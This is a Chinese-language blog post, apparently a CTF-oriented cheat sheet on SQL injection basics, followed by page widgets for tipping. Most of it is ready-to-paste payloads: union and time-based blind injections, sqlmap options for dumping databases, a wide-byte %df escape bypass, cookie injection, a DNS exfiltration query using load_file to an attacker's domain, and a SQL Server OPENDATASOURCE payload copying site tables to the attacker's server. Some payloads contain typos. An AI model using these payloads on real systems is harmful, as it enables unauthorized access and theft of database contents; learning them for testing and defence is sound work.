sql注入基础

注:为了完成一任务,最近会临时赶博客,所以有纰漏的地方大佬勿喷
首先是基本的sql注入格式(这里暂时不谈绕waf,应该会在后面发绕waf的手法)
1.标准姿势

and 1=1 -- hh
and 1=2 -- hh
and 1=2 union all select 1,2,table_name,4 from information_schema.tables where table_name = database() limit N,1-- hh
and 1=2 union all select 1,2,column_name,4 from information_schema.columns where column_name = '表名' limit N,1-- hh
and 1=2 union all select 1, 2,字段名,4 from 表名 limit N,1-- hh 

2.sqlmap跑
常用基础指令

-u指点注入点
 --dbs跑库名
--tables跑表名
--columns跑字段名
 -D 指定库名 -T 指定表名 -C 指定字段 --dump

常见指令

 --random -agent 随机请求头
--delay=1 每次探测延时1秒(防止访问被禁)
 --count查看数据量
 --level 1-5测试等级(等级越高,检测越仔细)
 --is--dba 查看权限
 --flush--session刷新对话,消除缓存
 注:在sqlmap跑的时后如果是post注入则可以写-r然后和正常的get注入的方式一样
 注:也可以在burp抓包然后复制在txt文件中,然后对注入点的末尾加一个*就可以了

3.宽字节注入
原理是gbk编码和utf-8编码之间的不同,汉字在gbk是2给字节在utf-8是三个字节编码
因为在写’闭合时会有\‘转义,因为\是一个字节所以可以写%df’使%df\转换成汉字。
同时,还可以使用一个汉字加上’来成功闭合,因为汉字是两个字节,\是一个字节,所以会在utf-8中变成一个字符所以成功
4.cookie注入
如果网站过滤了一些字符或者函数,那么就可以考虑cookie注入,这样有一定的可能会成功注入(成功率不高)
方法是:

在F12中的控制台上写document.cookie
然后把网址上的?id=1去掉然后再在控制台上写document.cookie="id"+escape("平时的注入语句")
注(在用sqlmap跑的时候可以写sqlmap.py -u 网址 --cookie "id=1" -level 2)

5.偏移注入
就是在网页中多找一些注入字段多的地方然后再慢慢注入回显字段内容
方法是

如果要查找的有4个字段,有一个网页有7个字段就可以写
?id=1 union select 1,2,3,* from 表A
?id=1 union select 1,2,* from,3 表A
?id=1 union select 1,*,2,3 from 表A
?id=1 union select *,1,2,3 from 表A
然后慢慢的查找字段内容(注:这是知道表名不知道字段名时采用的无奈的方法)

6.DNS注入
首先先在ceye.lo上注册一个账户
然后使用一个函数load_file():读取文件
注入操作:

在注入的页面写and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.自己的域名/abc'))
接下来就是正常的注入操作来解决

7.反弹注入
需要一个云服务器然后再操作

SQLSERVER
系统自带库 dbo.sysdatabases
系统自带表 dbo.sysobjects
系统自带字段 dbo.syscolumns
xtype='u'是指查当前系统的表
dbo.sysdatabases中一定存在的数据

dbo.sysdatabases中一定存在的数据
在这里插入图片描述
dbo.sysobjects中一定存在的数据
在这里插入图片描述
dbo.syscolumns中一定存在的数据
在这里插入图片描述
总结:
SQLSERVER数据库中一定存在name的字段。
SQLSERVER数据库中表和列中一定存在id和xtype
xtype='U’查系统的内容
反弹注入手法

?id=1';insert into opendatasource('sqloledb','server=连接数据库的地址,端口;uid=用户名;pwd=密码;database=数据库名').数据库名.表名 select *from 网站表名 -- hh

8.盲注
就是

')and (if((length((select database()))>2),sleep(5),1)) -- hh判断库长度
') or (if((ascii(substr((select database()),1,1))>15),sleep(5),1)) -- hh 判断库名(注:因为密码是我乱输入的,故不可以用and,否则会因为前面的密码错误而不执行后面的语句)
') or (if((length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>7),sleep(5),1)) -- hh  判断表长
') or (if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>15),sleep(5),1)) -- hh  判断表名
') or ?id=1' and (if((length((select column_name from information_schema.columns where table_name='zkaq' limit 0,1))>7),sleep(5),1)) -- hh  判断字段长度
') or (if((ascii(substr((select column_name from information_schema.columns where table_name='zkaq' limit 0,1),1,1))>15),sleep(5),1)) -- hh  判断字段名
') or (if((ascii(substr((select zKaQ from zkaq limit 0,1),1,1))>15),sleep(5),1)) -- hh  判断flag名
然后慢慢找flag
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值